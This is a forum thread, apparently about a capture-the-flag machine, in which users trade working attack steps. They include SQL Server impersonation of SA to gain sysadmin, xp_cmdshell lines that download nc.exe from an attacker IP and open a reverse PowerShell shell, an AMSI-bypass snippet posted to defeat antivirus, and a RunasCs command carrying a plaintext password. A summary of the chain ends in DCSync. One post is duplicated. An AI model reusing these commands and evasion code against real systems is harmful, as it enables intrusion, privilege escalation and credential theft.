[nomx1337]

For those stuck in the SQL Terminal, you can impersonate SA
https://book.hacktricks.xyz/network-serv...ther-users

Use this to make yourself sysadmin, then you have the rights to enable adv options and the shell command.

EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'

how to evade AV?

As mentioned previously, you can use nc

xp_cmdshell 'echo IWR http://10.10.X.X/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile'
xp_cmdshell '%TEMP%\nc.exe 10.10.X.X 4242 -e powershell'

Can anyone share a hint on what to do after getting sql_svc shell? Tried BloodHound and some basic enumeration and pw spraying, but no success.

what nc.exe did you use? the one from kali (/usr/share/windows-resources/binaries) is detected

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[j868K3792]

For those stuck in the SQL Terminal, you can impersonate SA
https://book.hacktricks.xyz/network-serv...ther-users

Use this to make yourself sysadmin, then you have the rights to enable adv options and the shell command.

EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'

how to evade AV?

As mentioned previously, you can use nc

xp_cmdshell 'echo IWR http://10.10.X.X/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile'
xp_cmdshell '%TEMP%\nc.exe 10.10.X.X 4242 -e powershell'

Can anyone share a hint on what to do after getting sql_svc shell? Tried BloodHound and some basic enumeration and pw spraying, but no success.

what nc.exe did you use? the one from kali (/usr/share/windows-resources/binaries) is detected

Try this one https://packetstormsecurity.com/files/31140/nc.exe.html

[meoami]

bypass that fcking AV:
$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'}
$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'}
[IntPtr]$c = $b.GetValue($null)
[Int32[]]$d = @(0xff)
[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)

[terminaluzer1]

can someone do a summary ?

[meoami]

webpage -> employer-> admin-> sql_rce-> sql_svc-> mikasa shell-> lorra199 --> AD Recycle Bin --> Generic Write to DC --> Dcsync to Domain ->root

[Th3B4h0z]

webpage -> employer-> admin-> sql_rce-> sql_svc-> mikasa shell->  lorra199 --> AD Recycle Bin --> Generic Write to DC --> Dcsync to Domain ->root

any hint for mikasa shell ?

[meoami]

There's mikasa password in
C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU> type sql-Configuration.INI
upload runascs to gain mikasa shell
./RunasCs.exe mikasaAckerman IL0v3ErenY3ager powershell -r IPORT

[meoami]

https://github[.]com/ufrisk/MemProcFS
this may be useful then try bypass AMSI and dump something

[iiNovaCore]

im stuck with the passwords from the memory dump but cant seem to get a shell with either password that came out of it. how do I get a shell using these? i think the password isnt the exact same as either of these.

[jj00]

I'm not able to get port 80! any idea what is blocking ?

change vpn to EU - Release arena

that worked like a charm! thanks